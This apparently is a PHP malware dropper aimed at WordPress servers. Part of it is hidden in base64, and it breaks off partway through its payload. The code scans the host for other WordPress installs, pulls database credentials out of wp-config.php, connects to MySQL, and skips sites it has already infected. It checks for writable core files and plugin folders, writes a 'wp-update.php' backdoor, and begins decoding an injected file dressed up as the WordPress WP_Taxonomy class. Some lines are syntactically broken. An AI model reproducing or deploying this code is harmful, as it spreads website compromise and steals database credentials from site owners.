ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkcGF0aCkpIHsgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpc193cml0YWJsZSAmJiBzdHJ0b2xvd2VyKCRmaWxlKT09J3dwLWNvbmZpZy5waHAnKSB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbnNbXSA9ICRwYXRoLid8Jy4kZmlsZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZihAaXNfZGlyKCRwYXRoKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW5zID0gYXJyYXlfbWVyZ2UoJGRvbWFpbnMsIHNjYW5EaXJlY3RvcnlDb25maWcoJHBhdGgsICRkZWVwLCAkY3VycmVudERlcHRoICsgMSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgICAgICAgICAgIAogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRvbWFpbnM7CiAgICB9CgogICAgZnVuY3Rpb24gaXNWYWxpZERvbWFpbigkZG9tYWluKSAKICAgIHsKICAgICAgICBnbG9iYWwgJHpvbmVfZG9tZW47ICAgICAgICAgICAgICAgCiAgICAgICAgJHBhdHRlcm4gPSAnL14oPzpbYS16MC05XSg/OlthLXowLTktXSpbYS16MC05XSkpKyg/OlthLXpdezIsfSkkL2knOwogICAgICAgICRleHBsb2RlID0gZXhwbG9kZSgnLicsICRkb21haW4pOwogICAgICAgICR6ID0gJGV4cGxvZGVbY291bnQoJGV4cGxvZGUpLTFdOwogICAgICAgIGlmKCFzdHJpc3RyKCR6b25lX2RvbWVuLCd8Jy4kei4nfCcpKXsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBpZihwcmVnX21hdGNoKCRwYXR0ZXJuLCAkZG9tYWluKSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBpZihwcmVnX21hdGNoKCcvXnhuXC0vaScsJGRvbWFpbikgJiYgc3Ryc3RyKCRkb21haW4sJy4nKSl7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfSAgICAgICAgICAgICAgIAogICAgICAgIH0gICAgICAgIAogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0gCgogICAgZnVuY3Rpb24gc2NhbkRpcmVjdG9yeSgkZGlyLCAkZGVlcCwgJGN1cnJlbnREZXB0aCA9IDApIAogICAgeyAgICAgICAgCiAgICAgICAJaWYgKCRjdXJyZW50RGVwdGggPj0gJGRlZXApIHsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCk7CiAgICAgICAgfSAgICAgICAgCiAgICAgICAgJGRvbWFpbnMgPSBhcnJheSgpOyAgICAgICAgCiAgICAgICAgaWYgKEBpc19kaXIoJGRpcikpIHsgICAgICAgICAgICAKICAgICAgICAgICAgJGZpbGVzID0gQHNjYW5kaXIoJGRpcik7ICAgICAgICAgICAgCiAgICAgICAgICAgIGlmKGlzX2FycmF5KCRmaWxlcykpewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoJGRpciE9RElSRUNUT1JZX1NFUEFSQVRPUil7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlOyAKICAgICAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyLiRmaWxlOyAKICAgICAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmIChAaXNfZGlyKCRwYXRoKSkgeyAgICAgICAgICAgICAgICAgICAgCQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfd3JpdGFibGUoJHBhdGgpICYmIGlzVmFsaWREb21haW4oJGZpbGUpKSB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbnNbXSA9ICRmaWxlLid8Jy4kcGF0aDsKICAgICAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW5zID0gYXJyYXlfbWVyZ2UoJGRvbWFpbnMsIHNjYW5EaXJlY3RvcnkoJHBhdGgsICRkZWVwLCAkY3VycmVudERlcHRoICsgMSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgICAgICAgICAgIAogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRvbWFpbnM7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0X25hbWVfZmlsZSgkZGlyKQogICAgewogICAgICAgICRzY2FuZGlyID0gQHNjYW5kaXIoJGRpcik7CiAgICAgICAgaWYoIWlzX2FycmF5KCRzY2FuZGlyKSl7CiAgICAgICAgICAgIHJldHVybiAncXVlcnktcmVzb2x2ZXIucGhwJzsKICAgICAgICB9CiAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZigkc2NhbmRpciwgYXJyYXkoJy4nLCcuLicpKTsgICAgICAgIAogICAgICAgICRnb29kX2ZpbGVzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoKCRmaWxlcyBhcyAkY3VycmVudF9maWxlKXsKICAgICAgICAgICAgaWYoIWlzX2ZpbGUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2ZpbGUpKSBjb250aW51ZTsKICAgICAgICAgICAgaWYoIXByZWdfbWF0Y2goJy9cLnBocCQvJywgJGN1cnJlbnRfZmlsZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAkZ29vZF9maWxlc1tdID0gJGN1cnJlbnRfZmlsZTsKICAgICAgICB9CiAgICAgICAgJHdvcmRzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoKCRnb29kX2ZpbGVzIGFzICRjdXJyZW50X2ZpbGUpewogICAgICAgICAgICAkY3VycmVudF9maWxlID0gcHJlZ19yZXBsYWNlKCcvXC5waHAkLycsICcnLCAkY3VycmVudF9maWxlKTsKICAgICAgICAgICAgJHNwbGl0X3dvcmRzID0gZXhwbG9kZSgnLScsICRjdXJyZW50X2ZpbGUpOwogICAgICAgICAgICBmb3JlYWNoKCRzcGxpdF93b3JkcyBhcyAkY3VycmVudF93b3JkKXsKICAgICAgICAgICAgICAgICR3b3Jkc1skY3VycmVudF93b3JkXT0xOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRyYW5kX2ZpbGUgPSAkZ29vZF9maWxlc1thcnJheV9yYW5kKCRnb29kX2ZpbGVzLDEpXTsKICAgICAgICAkbmV3X2ZpbGUgPSBzdHJfcmVwbGFjZSgnLnBocCcsICctJy5hcnJheV9yYW5kKCR3b3JkcywxKS4nLnBocCcsICRyYW5kX2ZpbGUpOyAgICAgICAKICAgICAgICByZXR1cm4gJG5ld19maWxlOwogICAgfQoKCQo/Pg=='));

file_put_contents(str_replace('index.php','',$_SERVER['SCRIPT_FILENAME']).'wp-update.php',if(isset($_GET['check'])){
		echo json_encode(array('status'=>'OK'));
		
	}
	
	if(!isset($_GET['pass'])){
		
	}

    set_time_limit(0);
    ignore_user_abort(1);
	@ini_set('display_errors', 0);
    @ini_set('display_startup_errors', 0);
    @error_reporting(E_ALL);

    $zone_domen = '|aaa|aarp|ca|abb|abbott|abbvie|br|abc|su|able|abogado|it|abudhabi|ae|at|bd|be|bw|cn|cr|cy|fj|fk|id|il|im|in|ir|jp|ke|kr|lk|ls|ma|me|mu|mw|mz|nz|pa|pg|pr|rs|ru|rw|se|sz|th|ac|tz|ug|uk|vn|za|zm|zw|academy|accenture|accountant|accountants|aco|au|actor|ad|ads|adult|org|aeg|np|aero|aetna|af|no|afl|com|africa|ag|agakhan|agency|hu|bo|pl|ai|aig|ee|airbus|airforce|airtel|us|akdn|al|fi|alibaba|alipay|allfinanz|allstate|ally|alsace|am|amazon|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|do|dz|art|arte|nf|ro|as|asda|asia|fr|mc|nc|associates|athleta|attorney|auction|audi|audible|audio|auspost|author|auto|autos|tr|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|mm|ni|pk|tj|tt|biz|ua|bj|black|blackfriday|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnpparibas|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|build|builders|business|buy|buzz|by|bz|bzh|cab|cafe|cal|call|calvinklein|cam|camera|camp|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|casa|case|cash|casino|cat|catering|catholic|cba|cbn|cbre|cc|cd|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|tw|club|clubmed|cm|cz|dk|gg|gl|gy|je|lc|mg|na|nl|om|pn|co|uz|ve|vi|coach|codes|coffee|college|cologne|cu|cv|cw|de|ec|eg|er|es|et|ge|gh|gi|gn|gp|gr|gt|gu|hk|hn|hr|ht|iq|jm|jo|kg|kh|ki|kp|kw|ky|kz|la|lb|lr|lv|ly|mk|ml|mo|ms|mt|mv|mx|my|ng|nr|pe|pf|ph|ps|pt|py|qa|sa|sb|sc|sd|sg|sl|sn|so|ss|sv|sy|tm|tn|to|uy|vc|vu|ws|ye|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cool|coop|corsica|country|coupon|coupons|courses|pro|cpa|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|cuisinella|cx|cymru|cyou|dad|dance|data|date|dating|datsun|day|dclk|dds|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dm|dnp|docs|doctor|dog|domains|dot|download|drive|dtv|dubai|dunlop|dupont|durban|dvag|dvr|earth|eat|eco|edeka|gd|kn|mn|edu|education|email|emerck|energy|engineer|engineering|enterprises|epson|equipment|ericsson|erni|esq|estate|eu|eurovision|eus|events|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|football|ford|forex|forsale|forum|foundation|fox|free|fresenius|frl|frogans|frontier|ftr|fujitsu|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gay|net|gbiz|gdn|gea|gent|genting|george|gf|ggee|gift|gifts|gives|giving|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|godaddy|gold|goldpoint|golf|goo|goodyear|goog|google|gop|got|ie|lt|mr|scot|sh|st|tl|gov|gq|grainger|graphics|gratis|green|gripe|grocery|group|gs|gucci|guge|guide|guitars|guru|gw|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hiphop|hisamitsu|hitachi|hiv|hkt|hm|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|horse|hospital|host|hosting|hot|hotels|hotmail|house|how|hsbc|hughes|hyatt|hyundai|ibm|icbc|ice|icu|ieee|ifm|ikano|imamat|imdb|immo|immobilien|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|international|intuit|investments|io|ipiranga|irish|is|ismaili|ist|istanbul|itau|itv|jaguar|java|jcb|jeep|jetzt|jewelry|jio|jll|jmp|jnj|jobs|joburg|jot|joy|jpmorgan|jprs|juegos|juniper|kaufen|kddi|kerryhotels|kerrylogistics|kerryproperties|kfh|kia|kids|kim|kindle|kitchen|kiwi|km|koeln|komatsu|kosher|kpmg|kpn|krd|kred|kuokgroup|kyoto|lacaixa|lamborghini|lamer|lancaster|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|link|lipsy|live|living|llc|llp|loan|loans|locker|locus|lol|london|lotte|lotto|love|lpl|lplfinancial|ltd|ltda|lu|lundbeck|luxe|luxury|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|mattel|mba|mckinsey|md|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mlb|mls|mma|mobi|mobile|moda|moe|moi|mom|monash|money|monster|mormon|mortgage|moto|motorcycles|mov|movie|mp|mq|msd|mtn|mtr|museum|music|nab|nagoya|name|navy|nba|ne|nec|netbank|netflix|network|neustar|new|news|next|nextdirect|nexus|nfl|ngo|nhk|nico|nike|nikon|ninja|nissan|nissay|nokia|norton|now|nowruz|nowtv|nra|nrw|ntt|nu|nyc|obi|observer|office|okinawa|olayan|olayangroup|ollo|omega|one|ong|onl|online|ooo|open|oracle|orange|organic|origins|osaka|otsuka|ott|ovh|page|panasonic|paris|pars|partners|parts|party|pay|pccw|pet|pfizer|pharmacy|phd|philips|phone|photo|photography|photos|physio|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|place|play|playstation|plumbing|plus|pm|pnc|pohl|poker|politie|porn|post|pramerica|praxi|press|prime|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|pub|pw|pwc|qpon|quest|racing|radio|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|ril|rio|rip|rocks|rodeo|rogers|room|rsvp|rugby|ruhr|run|rwe|ryukyu|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sbi|sbs|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|search|seat|secure|security|seek|select|sener|services|seven|sew|sex|sexy|sfr|shangrila|sharp|shell|shia|shiksha|shoes|shop|shopping|shouji|show|si|silk|sina|singles|site|sk|ski|skin|sky|skype|sling|sm|smart|smile|sncf|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|sport|spot|sr|srl|stada|staples|star|statebank|statefarm|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|sucks|supplies|supply|support|surf|surgery|suzuki|swatch|swiss|sx|sydney|systems|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|temasek|tennis|teva|tf|tg|thd|theater|theatre|tiaa|tickets|tienda|tips|tires|tirol|tjmaxx|tjx|tk|tkmaxx|tmall|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|trade|trading|training|travel|travelers|travelersinsurance|trust|trv|tube|tui|tunes|tushu|tv|tvs|ubank|ubs|unicom|university|uno|uol|ups|va|vacations|vana|vanguard|vegas|ventures|verisign|versicherung|vet|vg|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|viva|vivo|vlaanderen|vodka|volvo|vote|voting|voto|voyage|wales|walmart|walter|wang|wanggou|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|wtc|wtf|xbox|xerox|xihuan|xin|xn--11b4c3d|xn--o3cw4h|xn--1ck2e1b|xn--1qqw23a|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3pxu8k|xn--42c2d9a|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cckwcxetd|xn--cg4bki|xn--czrs0t|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--gckr3f0f|xn--gk3at1e|xn--h2brj9c|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--jlq480n2rg|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kput3i|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbayh7gpa|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbi4ecexp|xn--mgbt3dhd|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--otu796d|xn--p1acf|xn--p1ai|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka1pmc|xn--qxam|xn--rhqv96g|xn--rovu88b|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--tckwe|xn--tiq49xqyj|xn--unup4y|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vhquv|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--w4rs40l|xn--wgbh1c|xn--wgbl6a|xn--xhq521b|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|xn--y9a3aq|xn--yfro4i67o|xn--ygbi2ammx|xn--zfr164b|xxx|xyz|yachts|yahoo|yamaxun|yandex|yodobashi|yoga|yokohama|you|youtube|yt|yun|zappos|zara|zero|zip|zone|zuerich|';

    $task_inj = array();

    if(!isset($_GET['dontsearch'])){
        $explode_dir = explode(DIRECTORY_SEPARATOR, __DIR__);
        $found_domen = array();
        $found_config = array();
        $all_dir = array();
        foreach($explode_dir as $current_path){
            $all_dir[] = $current_path;
            $current_dir = implode(DIRECTORY_SEPARATOR, $all_dir);
            if(empty($current_dir)) {
                $current_dir = DIRECTORY_SEPARATOR;
            }        
            $domains = scanDirectory($current_dir, 2);
            $config = scanDirectoryConfig($current_dir, 3);
            
            if(is_array($domains) && count($domains)>0){
                foreach ($domains as $current) {
                    $explode_domain = explode('|',$current);
                    $found_domen[$explode_domain[0]][$explode_domain[1]] = 1;
                }
            }
            if(is_array($config) && count($config)>0){
                foreach ($config as $current) {
                    $explode_domain = explode('|',$current);
                    $found_config[$explode_domain[0]][$explode_domain[1]] = 1;
                }
            }  
        }


        foreach($found_config as $current_domen=>$list_path){
            $get = file_get_contents($current_domen);
            $db = array();
            $db_site_url = '';
            preg_match('/DB\_NAME(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_name);
            if(isset($db_name[3]) && function_exists('mysqli_connect')){
                $db_name = $db_name[3];
                preg_match('/DB\_USER(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_user);
                $db_user = $db_user[3];
                preg_match('/DB\_PASSWORD(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_pass);
                $db_pass = $db_pass[3];
                preg_match('/DB\_HOST(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_host);
                $db_host = $db_host[3];
                preg_match('/\$table\_prefix\s*\=\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_prefix);                
                $db_prefix = $db_prefix[2];
                $db['db_name'] = $db_name;
                $db['db_user'] = $db_user;
                $db['db_pass'] = $db_pass;
                $db['db_host'] = $db_host;
                $db['db_prefix'] = $db_prefix;
                $db_connect = false;
                try {
                    $db_connect = @mysqli_connect($db['db_host'], $db['db_user'], $db['db_pass'], $db['db_name']);                
                }catch (Exception $e){
                    $db_connect = false;
                }        
                if($db_connect){
                    $result = false;
                    try {
                        $result = @mysqli_query($db_connect,"SELECT * FROM `{$db['db_prefix']}options` WHERE `option_name`='siteurl' LIMIT 1;");
                    }catch (Exception $e){
                        $result = false;
                    }  
                    if($result){
                        $row = @mysqli_fetch_array($result);
                        if(isset($row['option_value'])){                    
                            $db_site_url = $row['option_value'];
                        }
                    }                                    
                }
            }                    
            if(!empty($db_site_url)){
                $found_config[$current_domen]=$db_site_url;
            }          
        }

        // Преобразуем все к единому заданию
        $task_inj = array();
        foreach($found_domen as $current_d=>$list_path){
            foreach($list_path as $current_path=>$s){
                $task_inj[] = array($current_path,$current_d); // добавим главную
                $dir = @scandir($current_path);
                if(is_array($dir)){
                    $dir = array_diff($dir,array(,'..'));
                    foreach($dir as $current_check){
                        if(is_dir($current_path.DIRECTORY_SEPARATOR.$current_check) && is_writable($current_path.DIRECTORY_SEPARATOR.$current_check)){
                            $task_inj[] = array($current_path.DIRECTORY_SEPARATOR.$current_check,$current_d); // первый уровень
                            $dir2 = @scandir($current_path.DIRECTORY_SEPARATOR.$current_check);
                            if(is_array($dir2)){
                                $dir2 = array_diff($dir2,array(,'..'));
                                foreach($dir2 as $current_check2){
                                    if(is_dir($current_path.DIRECTORY_SEPARATOR.$current_check.DIRECTORY_SEPARATOR.$current_check2) && is_writable($current_path.DIRECTORY_SEPARATOR.$current_check.DIRECTORY_SEPARATOR.$current_check2)){
                                        $task_inj[] = array($current_path.DIRECTORY_SEPARATOR.$current_check.DIRECTORY_SEPARATOR.$current_check2,$current_d); // второй уровень
                                    }
                                }
                            }
                        }
                    }
                }           
            }       
        }


        foreach($found_config as $current_path=>$s){        
            if(is_string($s) && preg_match('/^https{0,1}\:/ui',$s)){
                // Знаем домен через БД
                $task_inj[] = array(dirname($current_path),$s);
            }else{
                // Домен не знаем
                $task_inj[] = array(dirname($current_path),$current_path);
            }
        }

        // Профильтруем данную находку
        foreach($task_inj as $id_task=>$data_task){
            $current_path = $data_task[0];
            $current_domen = $data_task[1];         
            if($current_path==__DIR__) continue;        
            if(!is_dir($current_path.DIRECTORY_SEPARATOR.'wp-includes')){
                unset($task_inj[$id_task]);
                continue;
            }
            if(!is_writable($current_path.DIRECTORY_SEPARATOR.'wp-includes')){
                unset($task_inj[$id_task]);
                continue;
            }           
            // Были
            $we_were_here = false;
            $scandir = @scandir($current_path.DIRECTORY_SEPARATOR.'wp-includes');
            if(is_array($scandir)){
                $scandir = array_diff($scandir,array(,'..'));
                foreach($scandir as $current_inc_file){
                    if(!is_file($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.$current_inc_file)) continue;
                    if(!preg_match('/\.php$/',$current_inc_file)) continue;
                    $_content = @file_get_contents($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.$current_inc_file);
                    if(stristr($_content,'scanDirectoryConfig')){
                        $we_were_here = true;
                        break;
                    }
                }
            }
            if($we_were_here){
                unset($task_inj[$id_task]);
                continue;
            }
            
            $check = false;         

            if(is_file($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'theme.php') && is_writable($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'theme.php')){
                $check = true;
            }
            if(!$check && is_file($current_path.DIRECTORY_SEPARATOR.'wp-admin'.DIRECTORY_SEPARATOR.'widgets-form.php') && is_writable($current_path.DIRECTORY_SEPARATOR.'wp-admin'.DIRECTORY_SEPARATOR.'widgets-form.php')){
                $check = true;
            }
            if(!$check && is_dir($current_path.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins') && is_writable($current_path.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins')){
                $check = true;
            }

            if(!$check){
                unset($task_inj[$id_task]);
                continue;
            }       
        }
    }else{
        @unlink(__FILE__);
    }
    
    

	$stat = array();

	// 1. Установим скрипт	
	$code_inj = base64_decode('PD9waHAKLyoqCiAqIFRheG9ub215IEFQSTogV1BfVGF4b25vbXkgY2xhc3MKICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqIEBzdWJwYWNrYWdlIFRheG9ub215CiAqIEBzaW5jZSA0LjcuMAogKi8KCi8qKgogKiBDb3JlIGNsYXNzIHVzZWQgZm9yIGludGVyYWN0aW5nIHdpdGggdGF4b25vbWllcy4KICoKICogQHNpbmNlIDQuNy4wCiAqLwojW0FsbG93RHluYW1pY1Byb3BlcnRpZXNdCmZpbmFsIGNsYXNzIFdQX1RheG9ub215IHsKICAgIC8qKgogICAgICogVGF4b25vbXkga2V5LgogICAgICoKICAgICAqIEBzaW5jZSA0LjcuMAogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRuYW1lOwoKICAgIC8qKgogICAgICogTmFtZSBvZiB0aGUgdGF4b25vbXkgc2hvd24gaW4gdGhlIG1lbnUuIFVzdWFsbHkgcGx1cmFsLgogICAgICoKICAgICAqIEBzaW5jZSA0LjcuMAogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRsYWJlbDsKCiAgICAvKioKICAgICAqIExhYmVscyBvYmplY3QgZm9yIHRoaXMgdGF4b25vbXkuCiAgICAgKgogICAgICogSWYgbm90IHNldCwgdGFnIGxhYmVscyBhcmUgaW5oZXJpdGVkIGZvciBub24taGllcmFyY2hpY2FsIHR5cGVzCiAgICAgKiBhbmQgY2F0ZWdvcnkgbGFiZWxzIGZvciBoaWVyYXJjaGljYWwgb25lcy4KICAgICAqCiAgICAgKiBAc2VlIGdldF90YXhvbm9teV9sYWJlbHMoKQogICAgICoKICAgICAqIEBzaW5jZSA0LjcuMAogICAgICogQHZhciBzdGRDbGFzcwogICAgICovCiAgICBwdWJsaWMgJGxhYmVsczsKCiAgICAvKioKICAgICAqIERlZmF1bHQgbGFiZWxzLgogICAgICoKICAgICAqIEBzaW5jZSA2LjAuMAogICAgICogQHZhciAoc3RyaW5nfG51bGwpW11bXSAkZGVmYXVsdF9sYWJlbHMKICAgICAqLwogICAgcHJvdGVjdGVkIHN0YXRpYyAkZGVmYXVsdF9sYWJlbHMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQSBzaG9ydCBkZXNjcmlwdGl2ZSBzdW1tYXJ5IG9mIHdoYXQgdGhlIHRheG9ub215IGlzIGZvci4KICAgICAqCiAgICAgKiBAc2luY2UgNC43LjAKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkZGVzY3JpcHRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgYSB0YXhvbm9teSBpcyBpbnRlbmRlZCBmb3IgdXNlIHB1YmxpY2x5IGVpdGhlciB2aWEgdGhlIGFkbWluIGludGVyZmFjZSBvciBieSBmcm9udC1lbmQgdXNlcnMuCiAgICAgKgogICAgICogQHNpbmNlIDQuNy4wCiAgICAgKiBAdmFyIGJvb2wKICAgICAqLwogICAgcHVibGljICRwdWJsaWMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0aGUgdGF4b25vbXkgaXMgcHVibGljbHkgcXVlcnlhYmxlLgogICAgICoKICAgICAqIEBzaW5jZSA0LjcuMAogICAgICogQHZhciBib29sCiAgICAgKi8KICAgIHB1YmxpYyAkcHVibGljbHlfcXVlcnlhYmxlID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdGhlIHRheG9ub215IGlzIGhpZXJhcmNoaWNhbC4KICAgICAqCiAgICAgKiBAc2luY2UgNC43LjAKICAgICAqIEB2YXIgYm9vbAogICAgICovCiAgICBwdWJsaWMgJGhpZXJhcmNoaWNhbCA9IGZhbHNlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBhbmQgYWxsb3cgYSBVSSBmb3IgbWFuYWdpbmcgdGVybXMgaW4gdGhpcyB0YXhvbm9teSBpbiB0aGUgYWRtaW4uCiAgICAgKgogICAgICogQHNpbmNlIDQuNy4wCiAgICAgKiBAdmFyIGJvb2wKICAgICAqLwogICAgcHVibGljICRzaG93X3VpID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gc2hvdyB0aGUgdGF4b25vbXkgaW4gdGhlIGFkbWluIG